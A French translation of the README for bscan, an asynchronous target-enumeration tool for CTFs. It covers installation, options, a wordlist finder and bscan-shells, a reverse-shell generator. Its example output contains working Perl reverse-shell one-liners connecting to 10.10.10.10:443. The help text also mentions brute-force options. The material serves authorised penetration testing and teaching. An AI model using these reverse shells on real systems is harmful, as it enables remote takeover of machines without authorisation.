
un outil asynchrone d'énumération de cibles
:mag: un outil d'énumération de cibles asynchrone :mag_right:
bscan est un utilitaire en ligne de commande pour effectuer la collecte active d'informations et l'énumération de services. À la base, bscan lance de manière asynchrone des processus d'outils de scan bien connus, en réutilisant les résultats des scans pour produire une sortie console surlignée et une structure de répertoires bien définie.
bscan est destiné uniquement à des fins éducatives et à des événements tels que les CTF ; il ne doit jamais être exécuté sur des machines et/ou réseaux sans autorisation préalable explicite. Ce code est publié sous la licence MIT.
bscan a été écrit pour être exécuté sur Kali Linux, mais rien ne l'empêche de fonctionner sur tout OS disposant des outils appropriés installés. Il existe plusieurs types de versions packagées et différentes façons de les installer.
Le moyen le plus simple de démarrer est de télécharger la version exécutable en un seul fichier adaptée à votre système d'exploitation (aucune installation Python requise) :
# sur Linux (par exemple Kali)
wget -O bscan https://releases.brianwel.ch/bscan/linux
# sur Windows
powershell -c "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; wget 'https://releases.brianwel.ch/bscan/windows' -OutFile 'bscan.exe'"
# pour télécharger une version spécifique, utiliser le modèle suivant
wget -O bscan https://releases.brianwel.ch/github/bscan/linux/0.1.4
Vous pouvez également télécharger la dernière version packagée depuis PyPI (notez que cela nécessite une installation Python 3.6+ existante) :
pip install bscan
De même, vous pouvez obtenir la version de pointe depuis le contrôle de version :
pip install https://github.com/welchbj/bscan/archive/master.tar.gz
bscan offre une grande variété d'options de configuration pour adapter les scans à vos besoins. Voici un exemple rapide :
$ bscan \
> --max-concurrency 3 \
> --patterns [Mm]icrosoft \
> --status-interval 10 \
> --verbose-status \
> scanme.nmap.org
Que se passe-t-il ici ?
--max-concurrency 3 signifie qu'au maximum 3 sous-processus de scan simultanés seront lancés à la fois--patterns [Mm]icrosoft définit un motif regex personnalisé pour surligner les correspondances dans la sortie du scan--status-interval 10 indique à bscan d'afficher des mises à jour de statut toutes les 10 secondes--verbose-status signifie que chaque mise à jour de statut affichera les détails de tous les sous-processus de scan en coursscanme.nmap.org est l'hôte que nous souhaitons énumérerbscan s'appuie également sur des fichiers de configuration supplémentaires. Les fichiers par défaut se trouvent dans le répertoire bscan/configuation et servent aux fins suivantes :
patterns.txt spécifie les motifs regex à surligner dans la sortie console lorsqu'ils correspondent à la sortie du scanrequired-programs.txt spécifie les programmes installés que bscan prévoit d'utiliserport-scans.toml définit les scans de découverte de ports à exécuter sur la ou les cibles, ainsi que les expressions régulières utilisées pour analyser les numéros de port et les noms de services à partir de la sortie du scanservice-scans.toml définit les scans à exécuter sur la ou les cibles pour chaque serviceVoici ce que vous devriez voir en exécutant bscan --help :
usage: bscan [OPTIONS] targets
_
| |__ ___ ___ __ _ _ __
| '_ \/ __|/ __/ _` | '_ \
| |_) \__ \ (__ (_| | | | |
|_.__/|___/\___\__,_|_| |_|
an asynchronous service enumeration tool
positional arguments:
targets the targets and/or networks on which to perform enumeration
optional arguments:
-h, --help show this help message and exit
--brute-pass-list F filename of password list to use for brute-forcing
--brute-user-list F filename of user list to use for brute-forcing
--cmd-print-width I the maximum integer number of characters allowed when printing
the command used to spawn a running subprocess (defaults to 80)
--config-dir D the base directory from which to load the configuration files;
required configuration files missing from this directory will
instead be loaded from the default files shipped with this
program
--hard force overwrite of existing directories
--max-concurrency I maximum integer number of subprocesses permitted to be running
concurrently (defaults to 20)
--no-program-check disable checking the presence of required system programs
--no-file-check disable checking the presence of files such as configured
wordlists
--no-service-scans disable running scans on discovered services
--output-dir D the base directory in which to write output files
--patterns [ [ ...]] regex patterns to highlight in output text
--ping-sweep enable ping sweep filtering of hosts from a network range
before running more intensive scans
--quick-only whether to only run the quick scan (and not include the
thorough scan over all ports)
--qs-method S the method for performing the initial TCP port scan; must
correspond to a configured port scan
--status-interval I integer number of seconds to pause in between printing status
updates; a non-positive value disables updates (defaults to 30)
--ts-method S the method for performing the thorough TCP port scan; must
correspond to a configured port scan
--udp whether to run UDP scans
--udp-method S the method for performing the UDP port scan; must correspond
to a configured port scan
--verbose-status whether to print verbose runtime status updates, based on
frequency specified by `--status-interval` flag
--version program version
--web-word-list F the wordlist to use for scans
Le programme principal bscan est livré avec deux utilitaires (bscan-wordlists et bscan-shells) pour vous faciliter la vie lorsque vous cherchez des wordlists ou essayez d'ouvrir des shells inversés.
bscan-wordlists est un programme conçu pour trouver des fichiers wordlist sur Kali Linux. Il recherche dans quelques répertoires par défaut et permet la correspondance de noms de fichiers avec des globs. Voici un exemple simple :
$ bscan-wordlists --find "*win*"
/usr/share/wordlists/wfuzz/vulns/dirTraversal-win.txt
/usr/share/wordlists/metasploit/sensitive_files_win.txt
/usr/share/seclists/Passwords/common-passwords-win.txt
Essayez bscan-wordlists --help pour explorer d'autres options.
bscan-shells est un programme qui génère une variété de one-liners de shell inversé avec les champs target et port renseignés pour vous. Voici un exemple simple pour lister tous les shells basés sur Perl, configurés pour se connecter à 10.10.10.10 sur le port 443 :
$ bscan-shells --port 443 10.10.10.10 | grep -i -A1 perl
perl for windows
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.10.10.10:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
perl with /bin/sh
perl -e 'use Socket;$i="10.10.10.10";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl without /bin/sh
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.10.10:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Notez que bscan-shells récupère ces commandes depuis le fichier de configuration reverse-shells.toml. Essayez bscan-shells --help pour explorer d'autres options.
Commencez par configurer un nouvel environnement de développement et installer les dépendances (en utilisant virtualenvwrapper / virtualenvwrapper-win) :
# configurer l'environnement
mkvirtualenv -p $(which python3) bscan-dev
workon bscan-dev
# obtenir les dépendances
pip install -r dev-requirements.txt
Lintez et vérifiez les types du projet (ces vérifications sont également exécutées sur Travis) :
flake8 . && mypy bscan
Lorsqu'il est temps de packager une nouvelle version :
# construire l'exécutable en un seul fichier
pyinstaller bscan.spec
# construire les distributions source et wheel
python setup.py bdist_wheel sdist
# exécuter les vérifications post-build
twine check dist/*
# téléverser sur PyPI
twine upload dist/*